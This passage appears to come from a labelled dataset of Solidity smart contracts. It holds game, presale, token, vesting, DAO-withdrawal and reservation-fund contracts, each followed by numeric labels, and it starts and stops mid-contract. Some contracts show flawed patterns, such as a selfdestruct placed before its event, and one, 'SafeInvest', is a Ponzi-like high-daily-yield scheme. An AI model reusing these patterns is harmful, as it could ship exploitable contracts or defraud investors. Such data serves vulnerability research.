function handleDealerPot(uint256 _day, uint256 _dealerPotDelta, Player storage _player, InternalBuyEvent memory _buyEvent) private {
uint256 _potUnit = _dealerPotDelta.div(dealers.length);
if (dealerDay != _day || dealers[0] == address(0)) {
dealerDay = _day;
dealers[0] = msg.sender;
dealers[1] = address(0);
dealers[2] = address(0);
_player.ethBalance = _player.ethBalance.add(_potUnit);
feeAmount = feeAmount.add(_dealerPotDelta.sub(_potUnit));
_buyEvent.flag1 += _player.pid * 100000000000000000000000000000000;
return;
}
for (uint256 _i = 0; _i < dealers.length; ++_i) {
if (dealers[_i] == address(0)) {
dealers[_i] = msg.sender;
break;
}
if (dealers[_i] == msg.sender) {
break;
}
Player storage _dealer = playerOf[dealers[_i]];
if (_dealer.tokenDayBalance < _player.tokenDayBalance) {
for (uint256 _j = dealers.length - 1; _j > _i; --_j) {
if (dealers[_j - 1] != msg.sender) {
dealers[_j] = dealers[_j - 1];
}
}
dealers[_i] = msg.sender;
break;
}
}
uint256 _fee = _dealerPotDelta;
for (_i = 0; _i < dealers.length; ++_i) {
if (dealers[_i] == address(0)) {
break;
}
_dealer = playerOf[dealers[_i]];
_dealer.ethBalance = _dealer.ethBalance.add(_potUnit);
_fee = _fee.sub(_potUnit);
_buyEvent.flag1 += _dealer.pid *
(_i == 0 ? 100000000000000000000000000000000 :
(_i == 1 ? 100000000000000000000000000000000000000000000000 :
(_i == 2 ? 100000000000000000000000000000000000000000000000000000000000000 : 0)));
}
if (_fee > 0) {
feeAmount = feeAmount.add(_fee);
}
}
function emitEndTxEvents(uint256 _eth, uint256 _tokenAmount, InternalBuyEvent memory _buyEvent) private {
emit Transfer(address(this), msg.sender, _tokenAmount);
emit Buy(
address(this), msg.sender, _eth, _tokenAmount,
totalSupply, totalPot, sharePot, finalPot, luckyPot,
price, _buyEvent.flag1
);
}
function endGame() private {
if (luckyPot > 0) {
feeAmount = feeAmount.add(luckyPot);
luckyPot = 0;
}
if (winner == address(0) && lastPlayer != address(0)) {
winner = lastPlayer;
lastPlayer = address(0);
winAmount = finalPot;
finalPot = 0;
Player storage _player = playerOf[winner];
_player.ethBalance = _player.ethBalance.add(winAmount);
emit Win(address(this), winner, winAmount);
}
}
function updateFinishTime(uint256 _tokenAmount) private {
uint256 _timeDelta = _tokenAmount.div(ONE_TOKEN).mul(TIME_DURATION_INCREASE);
uint256 _finishTime = finishTime.add(_timeDelta);
uint256 _maxTime = now.add(TIME_DURATION_MAX);
finishTime = _finishTime <= _maxTime ? _finishTime : _maxTime;
}
function updatePrice(uint256 _newTotalSupply) private {
price = _newTotalSupply.mul(2).div(10000000000).add(88000000000000);
uint256 _idx = feeIndex + 1;
while (_idx < feePrices.length && price >= feePrices[_idx]) {
feeIndex = _idx;
++_idx;
}
}
function calculateTotalSupply(uint256 _newTotalPot) private pure returns(uint256) {
return _newTotalPot.mul(10000000000000000000000000000)
.add(193600000000000000000000000000000000000000000000)
.sqrt()
.sub(440000000000000000000000);
}
function sendFeeIfAvailable() private {
if (feeAmount > 1000000000000000000) {
feeOwner.transfer(feeAmount);
feeAmount = 0;
}
}
function changeFeeOwner(address _feeOwner) onlyOwner public {
require(_feeOwner != feeOwner && _feeOwner != address(0));
feeOwner = _feeOwner;
}
function withdrawFee(uint256 _amount) onlyOwner public {
require(now >= finishTime.add(30 days));
if (winner == address(0)) {
endGame();
}
feeAmount = feeAmount > _amount ? feeAmount.sub(_amount) : 0;
feeOwner.transfer(_amount);
}
} | 0 | 697 |
pragma solidity ^0.4.6;
contract Presale {
string public constant VERSION = "0.1.4-beta";
uint public constant PRESALE_START = 3127430;
uint public constant PRESALE_END = 3127490;
uint public constant WITHDRAWAL_END = 3127499;
address public constant OWNER = 0x41ab8360dEF1e19FdFa32092D83a7a7996C312a4;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool public isAborted = false;
function Presale () validSetupOnly() { }
function ()
payable
noReentrancy
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
inState(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
if (!OWNER.send(this.balance)) throw;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
onlyOwner
{
isAborted = true;
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
if (!msg.sender.send(change_to_return)) throw;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PRESALE_RUNNING;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() >= state) throw;
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
_;
}
modifier onlyOwner(){
if (msg.sender != OWNER) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
bool private locked = false;
modifier noReentrancy() {
if (locked) throw;
locked = true;
_;
locked = false;
}
} | 0 | 1,124 |
pragma solidity ^0.4.24;
contract Migratable {
event Migrated(string contractName, string migrationId);
mapping (string => mapping (string => bool)) internal migrated;
string constant private INITIALIZED_ID = "initialized";
modifier isInitializer(string contractName, string migrationId) {
validateMigrationIsPending(contractName, INITIALIZED_ID);
validateMigrationIsPending(contractName, migrationId);
_;
emit Migrated(contractName, migrationId);
migrated[contractName][migrationId] = true;
migrated[contractName][INITIALIZED_ID] = true;
}
modifier isMigration(string contractName, string requiredMigrationId, string newMigrationId) {
require(isMigrated(contractName, requiredMigrationId), "Prerequisite migration ID has not been run yet");
validateMigrationIsPending(contractName, newMigrationId);
_;
emit Migrated(contractName, newMigrationId);
migrated[contractName][newMigrationId] = true;
}
function isMigrated(string contractName, string migrationId) public view returns(bool) {
return migrated[contractName][migrationId];
}
function initialize() isInitializer("Migratable", "1.2.1") public {
}
function validateMigrationIsPending(string contractName, string migrationId) private view {
require(!isMigrated(contractName, migrationId), "Requested target migration ID has already been run");
}
}
contract Ownable is Migratable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function initialize(address _sender) public isInitializer("Ownable", "1.9.0") {
owner = _sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract NaviTokenBurner is Ownable {
event TokensBurned (uint256 amount);
ERC20Basic public token;
constructor(ERC20Basic _token) public {
token = _token;
}
function tokenDestroy() public onlyOwner{
require(token.balanceOf(this) > 0);
selfdestruct(owner);
emit TokensBurned(token.balanceOf(this));
}
function () public payable {
revert();
}
} | 1 | 3,336 |
pragma solidity 0.4.13;
contract Burnable {
event LogBurned(address indexed burner, uint256 indexed amount);
function burn(uint256 amount) returns (bool burned);
}
contract Mintable {
function mint(address to, uint256 amount) returns (bool minted);
function mintLocked(address to, uint256 amount) returns (bool minted);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event LogVestingCreated(address indexed beneficiary, uint256 startTime, uint256 indexed cliff,
uint256 indexed duration, bool revocable);
event LogVestedTokensReleased(address indexed token, uint256 indexed released);
event LogVestingRevoked(address indexed token, uint256 indexed refunded);
address public beneficiary;
uint256 public cliff;
uint256 public startTime;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _startTime, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_startTime >= now);
require(_duration > 0);
require(_cliff <= _duration);
beneficiary = _beneficiary;
startTime = _startTime;
cliff = _startTime.add(_cliff);
duration = _duration;
revocable = _revocable;
LogVestingCreated(beneficiary, startTime, cliff, duration, revocable);
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
LogVestedTokensReleased(address(token), unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refundable = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refundable);
LogVestingRevoked(address(token), refundable);
}
function releasableAmount(ERC20Basic token) public constant returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public constant returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= startTime.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(startTime)).div(duration);
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract AdaptableToken is Burnable, Mintable, PausableToken {
uint256 public transferableFromBlock;
uint256 public lockEndBlock;
mapping (address => uint256) public initiallyLockedAmount;
function AdaptableToken(uint256 _transferableFromBlock, uint256 _lockEndBlock) internal {
require(_lockEndBlock > _transferableFromBlock);
transferableFromBlock = _transferableFromBlock;
lockEndBlock = _lockEndBlock;
}
modifier canTransfer(address _from, uint _value) {
require(block.number >= transferableFromBlock);
if (block.number < lockEndBlock) {
uint256 locked = lockedBalanceOf(_from);
if (locked > 0) {
uint256 newBalance = balanceOf(_from).sub(_value);
require(newBalance >= locked);
}
}
_;
}
function lockedBalanceOf(address _to) public constant returns(uint256) {
uint256 locked = initiallyLockedAmount[_to];
if (block.number >= lockEndBlock) return 0;
else if (block.number <= transferableFromBlock) return locked;
uint256 releaseForBlock = locked.div(lockEndBlock.sub(transferableFromBlock));
uint256 released = block.number.sub(transferableFromBlock).mul(releaseForBlock);
return locked.sub(released);
}
function transfer(address _to, uint _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
modifier canMint() {
require(!mintingFinished());
_;
}
function mintingFinished() public constant returns(bool finished) {
return block.number >= transferableFromBlock;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool minted) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function mintLocked(address _to, uint256 _amount) public onlyOwner canMint returns (bool minted) {
initiallyLockedAmount[_to] = initiallyLockedAmount[_to].add(_amount);
return mint(_to, _amount);
}
function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public
onlyOwner canMint returns (TokenTimelock tokenTimelock) {
TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime);
mint(timelock, _amount);
return timelock;
}
function mintVested(address _to, uint256 _amount, uint256 _startTime, uint256 _duration) public
onlyOwner canMint returns (TokenVesting tokenVesting) {
TokenVesting vesting = new TokenVesting(_to, _startTime, 0, _duration, true);
mint(vesting, _amount);
return vesting;
}
function burn(uint256 _amount) public returns (bool burned) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Transfer(msg.sender, address(0), _amount);
return true;
}
function releaseVested(TokenVesting _vesting) public {
require(_vesting != address(0));
_vesting.release(this);
}
function revokeVested(TokenVesting _vesting) public onlyOwner {
require(_vesting != address(0));
_vesting.revoke(this);
}
}
contract NokuMasterToken is AdaptableToken {
string public constant name = "NOKU";
string public constant symbol = "NOKU";
uint8 public constant decimals = 18;
function NokuMasterToken(uint256 _transferableFromBlock, uint256 _lockEndBlock)
AdaptableToken(_transferableFromBlock, _lockEndBlock) public {
}
} | 1 | 2,399 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0x52c5317c848ba20c7504cb2c8052abd1fde29d03);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 1 | 2,274 |
pragma solidity ^0.4.13;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
} | 0 | 586 |
pragma solidity ^0.4.21;
interface ISimpleCrowdsale {
function getSoftCap() external view returns(uint256);
function isContributorInLists(address contributorAddress) external view returns(bool);
function processReservationFundContribution(
address contributor,
uint256 tokenAmount,
uint256 tokenBonusAmount
) external payable;
}
interface ICrowdsaleReservationFund {
function canCompleteContribution(address contributor) external returns(bool);
function completeContribution(address contributor) external;
function processContribution(address contributor, uint256 _tokensToIssue, uint256 _bonusTokensToIssue) external payable;
function contributionsOf(address contributor) external returns(uint256);
function onCrowdsaleEnd() external;
}
contract SafeMath {
function SafeMath() public {
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a >= b);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable(address _owner) public {
owner = _owner == address(0) ? msg.sender : _owner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function confirmOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract ReservationFund is ICrowdsaleReservationFund, Ownable, SafeMath {
bool public crowdsaleFinished = false;
mapping(address => uint256) contributions;
mapping(address => uint256) tokensToIssue;
mapping(address => uint256) bonusTokensToIssue;
ISimpleCrowdsale public crowdsale;
event RefundPayment(address contributor, uint256 etherAmount);
event TransferToFund(address contributor, uint256 etherAmount);
event FinishCrowdsale();
function ReservationFund(address _owner) public Ownable(_owner) {
}
modifier onlyCrowdsale() {
require(msg.sender == address(crowdsale));
_;
}
function setCrowdsaleAddress(address crowdsaleAddress) public onlyOwner {
require(crowdsale == address(0));
crowdsale = ISimpleCrowdsale(crowdsaleAddress);
}
function onCrowdsaleEnd() external onlyCrowdsale {
crowdsaleFinished = true;
FinishCrowdsale();
}
function canCompleteContribution(address contributor) external returns(bool) {
if(crowdsaleFinished) {
return false;
}
if(!crowdsale.isContributorInLists(contributor)) {
return false;
}
if(contributions[contributor] == 0) {
return false;
}
return true;
}
function contributionsOf(address contributor) external returns(uint256) {
return contributions[contributor];
}
function processContribution(
address contributor,
uint256 _tokensToIssue,
uint256 _bonusTokensToIssue
) external payable onlyCrowdsale {
contributions[contributor] = safeAdd(contributions[contributor], msg.value);
tokensToIssue[contributor] = safeAdd(tokensToIssue[contributor], _tokensToIssue);
bonusTokensToIssue[contributor] = safeAdd(bonusTokensToIssue[contributor], _bonusTokensToIssue);
}
function completeContribution(address contributor) external {
require(!crowdsaleFinished);
require(crowdsale.isContributorInLists(contributor));
require(contributions[contributor] > 0);
uint256 etherAmount = contributions[contributor];
uint256 tokenAmount = tokensToIssue[contributor];
uint256 tokenBonusAmount = bonusTokensToIssue[contributor];
contributions[contributor] = 0;
tokensToIssue[contributor] = 0;
bonusTokensToIssue[contributor] = 0;
crowdsale.processReservationFundContribution.value(etherAmount)(contributor, tokenAmount, tokenBonusAmount);
TransferToFund(contributor, etherAmount);
}
function refundPayment(address contributor) public {
require(crowdsaleFinished);
require(contributions[contributor] > 0 || tokensToIssue[contributor] > 0);
uint256 amountToRefund = contributions[contributor];
contributions[contributor] = 0;
tokensToIssue[contributor] = 0;
bonusTokensToIssue[contributor] = 0;
contributor.transfer(amountToRefund);
RefundPayment(contributor, amountToRefund);
}
} | 1 | 2,748 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SafeInvest {
using SafeMath for uint;
address public owner;
address marketing = 0x906Bd47Fcf07F82B98F28d1e572cA8D2273AA7CD;
address admin = 0xe0C507cd978F380eac44eDf22Ea734B6c16B5fCF;
mapping (address => uint) deposit;
mapping (address => uint) checkpoint;
mapping (address => bool) commission;
mapping (address => address) referrers;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralPayment(address indexed _referral, address indexed _referrer, uint _value);
constructor() public {
owner = msg.sender;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function() external payable {
if (msg.value >= 0 && msg.value < 0.0000002 ether) {
withdraw(0);
}
else if (msg.value == 0.0000002 ether){
moneyBack();
}
else {
invest();
}
}
function invest() public payable {
require(msg.value >= 0.01 ether);
if (deposit[msg.sender] > 0) {
withdraw(msg.value);
}
if (msg.data.length == 20) {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
referrers[msg.sender] = _referrer;
}
}
checkpoint[msg.sender] = block.timestamp;
deposit[msg.sender] = deposit[msg.sender].add(msg.value);
emit LogInvestment(msg.sender, msg.value);
}
function withdraw(uint _msgValue) internal {
if (!commission[msg.sender]) {
firstWithdraw(deposit[msg.sender]+_msgValue);
} else if (_msgValue > 0) {
payCommissions(_msgValue);
}
uint _payout = getPayout(msg.sender);
if (_payout > 0) {
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
checkpoint[msg.sender] = block.timestamp;
}
function firstWithdraw(uint _deposit) internal {
commission[msg.sender] = true;
payCommissions(_deposit);
}
function moneyBack() internal {
require(!commission[msg.sender]);
require(deposit[msg.sender] > 0);
require((block.timestamp.sub(checkpoint[msg.sender])).div(1 days) < 7);
msg.sender.transfer(deposit[msg.sender]);
deposit[msg.sender] = 0;
commission[msg.sender] = false;
}
function payCommissions(uint _deposit) internal {
uint _admFee = _deposit.mul(3).div(100);
uint _marketingFee = _deposit.div(10);
if (referrers[msg.sender] > 0) {
uint _refFee = _deposit.mul(5).div(100);
referrers[msg.sender].transfer(_refFee);
emit LogReferralPayment(msg.sender, referrers[msg.sender], _refFee);
}
admin.transfer(_admFee);
marketing.transfer(_marketingFee);
}
function getPayout(address _address) public view returns(uint) {
uint rate = getInterest(_address);
return (deposit[_address].mul(rate).div(100)).mul(block.timestamp.sub(checkpoint[_address])).div(1 days);
}
function getInterest(address _address) internal view returns(uint) {
if (deposit[_address]<= 3 ether) {
return 4;
} else if (deposit[_address] <= 6 ether) {
return 5;
} else {
return 6;
}
}
} | 0 | 1,400 |
pragma solidity ^0.4.23;
contract Migrations {
address public owner;
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
function Migrations() public {
owner = msg.sender;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) public restricted {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
} | 1 | 3,434 |
pragma solidity 0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
